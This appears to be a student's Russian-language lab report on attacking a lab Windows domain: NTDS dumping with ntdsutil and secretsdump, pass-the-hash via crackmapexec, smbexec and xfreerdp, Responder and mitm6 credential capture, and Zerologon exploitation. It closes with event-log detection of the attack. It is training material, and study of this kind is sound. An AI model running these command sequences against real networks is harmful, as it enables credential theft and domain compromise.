###### tags: `Windows Basic`
# Windows_Basic-Омаров_Джамалутин-Практика-6
*Выполнил Омаров Джамалутин*
## Практическая работа №6.1 Базовые атаки на Windows-инфраструктуру
Задание:
* Провести анализ базы NTDS
* Выполнить атаку "Path-the-hash"
* Реализовать атаки на базовые протоколы Windows
### Часть 1. Анализ базы NTDS
**1.1 Бэкап NTDS**
База NTDS представляет собой базу данных, в которой хранится информация Active Directory. Ветки реестра "SYSTEM", "SECURITY" позволяют работать с NTDS.
1.1.1 Воспользуемся базовыми средствами Windows для работы с NTDS.
Cmd -> ntdsutil -> activate instance ntds -> ifm -> create full C:\temp
Этот набор команд активирует процесс "Install From Media", позволяющий сделать копию нашего NTDS с необходимыми ветками реестра;

1.1.2 Дамп находится в C:\temp;

**1.2 Перенос NTDS**
1.2.1 Воспользуемся базовыми средствами Kali Linux. С помощью SMB зайдем на сервер. SMB - сетвой протокол прикладного уровня для удаленного доступа к файлам, принтерам и другим сетевым ресурсам.
"smbclient" позволяет обратиться к Windows по протоколу SMB и, используя учетные данные, скачать необходимые файлы.
smbclient '\\192.168.10.200\C$' -U PT/Administrator -> recurse ON -> prompt OFF -> lcd /home/user -> mget temp;

**1.3 Анализ NTDS**
1.3.1 Для анализа дампа необходимо скачать "impacket". Это пентестерская утилита для анализа небольшой инфраструктуры.
Cmd -> git clone https://github.com/SecureAuthCorp/impacket -> apt install python3-pip -> cd impacket -> pip install .;


1.3.2 После установки.
cd examples -> python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL
* secretsdump.py - исполняемый скрипт, который помогает обратиться к файлу "ntds.dit" и посмотреть его
* ntds.dit - анализируемый инстанс базы данных NTDS
* registry/SYSTEM - ветка реестра, с помощью которой мы можем прочитать NTDS
* LOCAL - флаг для скрипта, который говорит, что мы анализируем NTDS локально;

NDTS мы анализируем с целью разобраться в структуре базы аутентификационных данных для объектов домена.
Увидим:
* имя пользователя
* user id
* LM hash
* NTLM hash - актуальные данные
### Часть 2. Path-the-hash
С помощью атаки Pth мы сможем выполнять любые действия, доступный пользователю, не имея оригинала пароля.
**2.1 Crackmapexec**
Это набор python-скриптов для тестирования Windows окружения. Использует Windows API, поэтому обнаружить довольно сложно.
2.1.1 Базовое применение - быстрое сканирование сети и обнаружение хостов, как либо взаимодействующих с протоколом SMB:
crackmapexec smb 192.168.10.0/24;

2.1.2 Можно выполнять команды от имени пользователя на удаленной машине посредством командной строки:
crackmapexec smb 192.168.10.201 -u Administrator -H hash -x whoami;

* hash - это NTLM хэш учетной записи
2.1.3 Можно посмотреть и список сетевый папок, доступных конкрутному пользователю:
crackmapexec smb 192.168.10.200 -u Administrator -H 0e5da8d3692bde80482a2afa2392cfff --shares;

2.1.4 В "impacket" есть утилита smbexec, позволяющая запустить cmd windows для удаленной передачи команд, при этом не оставляя следов:
python3 smbexec.py PT/administrator@192.168.10.200 -hashes aad3b435b51404eeaad3b435b51404ee:0e5da8d3692bde80482a2afa2392cfff;

**2.2 XFreeRDP**
С хешем можно зайти даже по RDP. RDP - протокол удаленного рабочего стола.
xfreerdp /d:domainname /u:username /v:ipaddr /pth:NTHASH
2.2.1 Включим удаленный доступ по RDP на dc1;

2.2.1 Доступ дадим только администраторам домена;

2.2.2 Заходим на dc1 через Kali Linux;

2.2.3 Потвердим сертификат;

2.2.4 Действует политика "restricted admin".
Изменим параметр реестра на dc1;


Отображение данного события в "Event Viewer". Ранее мы настраивали политику аудита PoSH.

2.2.5 XFreeRDP показало окно Windows Server 2016 (en) удаленно;

### Часть 3. Атаки на базовые протоколы Windows
**NDT-NS & LLMNR & mDNS**
WPAD - специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку "человек посередине".
NBT-NS (NetBIOS Name Service) - протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
LLMNR (Link-Local Multicast Name Resolution) - протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же - сетевое обнаружение. Использует мультикаст.
mDNS (Multicast DNS) - суть такая же, как и у LLMNR. DNS через Мультикаст.
Основная уязвимость в этих протоколах - отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
**Этап 1. Анализ инфраструктуры через responder**
3.1.1 Запускаем анализ Responder;

Покажет конфиги.
3.1.2 Доменный ПК пытается открыть несуществующий сетевой ресурс. Такое возможно, когда пользователь попытался пройти по сетевому пути и допустил опечатку. Либо же ссылка в письме, ведущая на файловую шару, оказаась некорректная;

3.1.3 Анализатор видит LLNMR, NBNS запросы;

**Этап 2. Режим Атаки**
3.2.1 responder -I eth0 -wFv:
* I - выбор интерфейса
* w - отправление WPAD
* F - попробывать принудить систему использовать старые протоколы аутентификации
* v - вывод подробной информации

3.2.2 Пользователь снова проходит по несуществующему пути;

Здесь его ждет окно аутентификации.
3.2.3 Responder перехватывает аутентификационный токен. Аутентификационный handshake NTLM;

Данный токен можно подвергнуть брутфорсу.
**Этап 3. Mitm6**
Атака имитирует DHCPv6 сервер и отправляет на компьютеры в сети параметры IPv6, которые используются в приоритете над IPv4 при отправке компьютеров данных по сети.
3.3.1 Скачаем mitm6.
pip install mitm6;

3.3.2 mitm6.py -d pt.local;

3.3.3 Первоначальные настройки сетевого адаптера pc1;

3.3.4 Настройки после атаки;

Мы подменили параметры у Windows 10 Pro, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, необходимо воспользоваться способом, который позволит нам прикинуться ресурсом, требующим аутентификацию. Воспользуемся SMB.
3.3.5 Не отключая mitm6, создадим сервер, чтобы имитировать файловую шару.
python3 smbserver.py -smb2support SMB /root/SMB;

3.3.6 На pc1 через проводник попробуем зайти на наш домен;

3.3.7 Увидим данные аутентификации при выводе программы;

Это аутентификация по протоколу NTLMv2, а не чистый хэш. Это данные можно вскрывать с помощью "hashcat" или "John the ripper"
## Практическая работа №6.2 Компроментация доменной Windows-инфраструктуры
Задание:
* Провести эксплуатацию уязвимостей контроллера домена
* Найти следы эксплуатации уязвимостей
Активируем политику аудита машинных учетных записей и применить к контроллерам домена;

Чтобы политика применилась, необходимо ввести команду gpupdate.
### Часть 1. Эксплуатация уязвимостей контроллера домена
1.1 Проведем поиск по уязвимости "zerologon" и найдем множество репозиторией, в том числе и с эксплойтами;

1.2 Скачаем;

1.3 Прочитаем "README";

1.4 Используем конструкцию, которую нам предложили для вызова эксплойта. Произойдет подбор вектора инициализации для соединения между Kali Linux и dc1;

1.5 Скрипт обнулил пароль машинной учетной записи контроллера домена. Воспользуемся этим, чтобы сдампить NTDS с помощью "secretdump";

1.6 С помощью полученных хэшей можно выполнять команды от любого пользователя;

### Часть 2. Поиск следов эксплуатации уязвимостей
2.1 Проверим журнал "System", увидим ошибку "Netlogon";

2.2 Проверим журнал "Security", увидим событие 4742;

2.3 Проанализируем;

Подозрительные факты:
ANONYMUOUS LOGON
Password last set заполнено, значит пароль был изменен. В лигитимном случае пароль на машинной учетной записи может менять только Network Service. В таком случае id = 5823;
2.4 Найдем событие 5823;

2.5 Вот данное изменение, но оно произошло намного раньше. Данное событие лигитимное;

2.6 В случае дампа NTDS мы увидим данные выгрузки в журнале "Directory Service";
